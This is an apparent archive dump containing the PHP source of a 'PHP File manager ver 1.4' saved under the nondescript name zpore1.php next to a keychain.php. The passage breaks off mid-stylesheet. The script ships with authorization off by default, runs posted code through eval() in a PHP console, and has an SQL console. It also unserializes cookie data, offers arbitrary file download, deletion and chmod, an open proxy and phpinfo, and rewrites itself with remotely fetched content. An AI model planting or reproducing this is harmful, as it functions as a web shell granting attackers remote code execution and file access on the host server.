	echo $e->getMessage() . "\n";
	exit(1);
}
PK         ! ߄B        
                index.htmlnu bS        PK         ! u                  Z   keychain.phpnu bS        PK         a!    PK       ! N;/. . 
  zpore1.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/zpore/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
